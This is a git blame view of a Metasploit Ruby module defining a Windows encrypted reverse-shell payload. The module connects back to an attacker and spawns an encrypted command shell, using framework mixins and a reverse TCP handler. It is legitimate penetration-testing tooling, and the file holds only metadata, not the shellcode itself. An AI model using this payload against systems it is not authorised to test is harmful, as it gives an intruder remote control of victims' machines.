Files
metasploit-gs/modules/payloads/singles/windows/encrypted_shell_reverse_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

35 lines
1.1 KiB
Ruby
Raw Normal View History

2019-09-06 08:37:45 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
2020-03-30 15:30:03 +08:00
CachedSize = 4416
2019-09-06 08:37:45 -05:00
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
2019-09-06 08:37:45 -05:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Encrypted Reverse Shell',
'Description' => 'Connect back to attacker and spawn an encrypted command shell',
'Author' =>
2019-11-01 09:01:14 -05:00
[
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::EncryptedShell,
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]
2019-09-06 08:37:45 -05:00
))
end
end